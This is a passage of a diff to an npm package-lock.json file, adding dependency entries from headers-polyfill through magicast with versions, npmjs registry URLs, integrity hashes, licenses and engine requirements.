"https://registry.npmjs.org/headers-polyfill/-/headers-polyfill-4.0.3.tgz", + "integrity": "sha512-IScLbePpkvO846sIwOtOTDjutRMWdXdJmXdMvk6gCBHxFO8d+QKOQedyZSxFTTFYRSmlgSTDtXqqq4pcenBXLQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/html-encoding-sniffer": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", + "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==", + "dev": true, + "dependencies": { + "whatwg-encoding": "^3.1.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true, + "license": "MIT" + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/https-proxy-agent": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", + "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "^7.1.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/immer": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/immer/-/immer-10.2.0.tgz", + "integrity": "sha512-d/+XTN3zfODyjr89gM3mPq1WNX2B8pYsu7eORitdwyA2sBubnTl3laYlBk4sXY5FUa5qTZGBDPJICVbvqzjlbw==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/index-to-position": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/index-to-position/-/index-to-position-1.2.0.tgz", + "integrity": "sha512-Yg7+ztRkqslMAS2iFaU+Oa4KTSidr63OsFGlOrJoW981kIYO3CGCS3wA95P1mUi/IVSJkn0D479KTJpVpvFNuw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-lite": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-lite/-/is-lite-1.2.1.tgz", + "integrity": "sha512-pgF+L5bxC+10hLBgf6R2P4ZZUBOQIIacbdo8YvuCP8/JvsWxG7aZ9p10DYuLtifFci4l3VITphhMlMV4Y+urPw==", + "license": "MIT" + }, + "node_modules/is-node-process": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-node-process/-/is-node-process-1.2.0.tgz", + "integrity": "sha512-Vg4o6/fqPxIjtxgUH5QLJhwZ7gW5diGCVlXpuUfELC62CuxM1iHcRe51f2W1FDy04Ai4KJkagKjx3XaqyfRKXw==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-potential-custom-element-name": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", + "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==", + "dev": true + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jiti": { + "version": "1.21.7", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", + "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==", + "dev": true, + "license": "MIT", + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-levenshtein": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/js-levenshtein/-/js-levenshtein-1.1.6.tgz", + "integrity": "sha512-X2BB11YZtrRqY4EnQcLX5Rh373zbK4alC1FW7D7MBhL2gtcC17cTnr6DmfHZeS0s2rTHjUTMMHfG7gO8SSdw+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.1.tgz", + "integrity": "sha512-CY6crGq313MX8GkwvB7tzgp99vjQxY1++5y10/BKN/GUfHqWaOGQMNZkBvqSzsZKWk/ijwHlWzzkLulsGHhjWQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsdom": { + "version": "24.1.3", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz", + "integrity": "sha512-MyL55p3Ut3cXbeBEG7Hcv0mVM8pp8PBNWxRqchZnSfAiES1v1mRnMeFfaHWIPULpwsYfvO+ZmMZz5tGCnjzDUQ==", + "dev": true, + "dependencies": { + "cssstyle": "^4.0.1", + "data-urls": "^5.0.0", + "decimal.js": "^10.4.3", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^4.0.0", + "http-proxy-agent": "^7.0.2", + "https-proxy-agent": "^7.0.5", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.12", + "parse5": "^7.1.2", + "rrweb-cssom": "^0.7.1", + "saxes": "^6.0.0", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.1.4", + "w3c-xmlserializer": "^5.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^3.1.1", + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0", + "ws": "^8.18.0", + "xml-name-validator": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "canvas": "^2.11.2" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jsdom/node_modules/tough-cookie": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", + "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==", + "dev": true, + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lightningcss": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.32.0.tgz", + "integrity": "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==", + "dev": true, + "license": "MPL-2.0", + "dependencies": { + "detect-libc": "^2.0.3" + }, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "lightningcss-android-arm64": "1.32.0", + "lightningcss-darwin-arm64": "1.32.0", + "lightningcss-darwin-x64": "1.32.0", + "lightningcss-freebsd-x64": "1.32.0", + "lightningcss-linux-arm-gnueabihf": "1.32.0", + "lightningcss-linux-arm64-gnu": "1.32.0", + "lightningcss-linux-arm64-musl": "1.32.0", + "lightningcss-linux-x64-gnu": "1.32.0", + "lightningcss-linux-x64-musl": "1.32.0", + "lightningcss-win32-arm64-msvc": "1.32.0", + "lightningcss-win32-x64-msvc": "1.32.0" + } + }, + "node_modules/lightningcss-android-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.32.0.tgz", + "integrity": "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.32.0.tgz", + "integrity": "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-x64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.32.0.tgz", + "integrity": "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-freebsd-x64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.32.0.tgz", + "integrity": "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm-gnueabihf": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.32.0.tgz", + "integrity": "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-gnu": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.32.0.tgz", + "integrity": "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-musl": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.32.0.tgz", + "integrity": "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-gnu": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.32.0.tgz", + "integrity": "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-musl": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.32.0.tgz", + "integrity": "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-arm64-msvc": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.32.0.tgz", + "integrity": "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-x64-msvc": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz", + "integrity": "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lilconfig": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true, + "license": "MIT" + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lucide-react": { + "version": "0.307.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.307.0.tgz", + "integrity": "sha512-+vZ+vUiWPZTMnLHURg4aoIaz6NHOWXVVcVd8iLROu1k4LbyjcnHIKmbjXHCmulz7XAYLWRVXzhJJgIr+Aq3vOg==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "dev": true, + "license": "MIT", + "peer": true, + "bin": { + "lz-string": "bin/bin.js" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/magicast": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.5.2.tgz", + "integrity": "sha512-E3ZJh4J3S9KfwdjZhe2afj6R9lGIN5Pher1pF39UGrXRqq/VDaGVIGN13BjHd2u8B61hArAGOnso7nBOouW3TQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@babel/types": "^7.29.0", + "source-map-js": "^1.2.1" + } + }, + 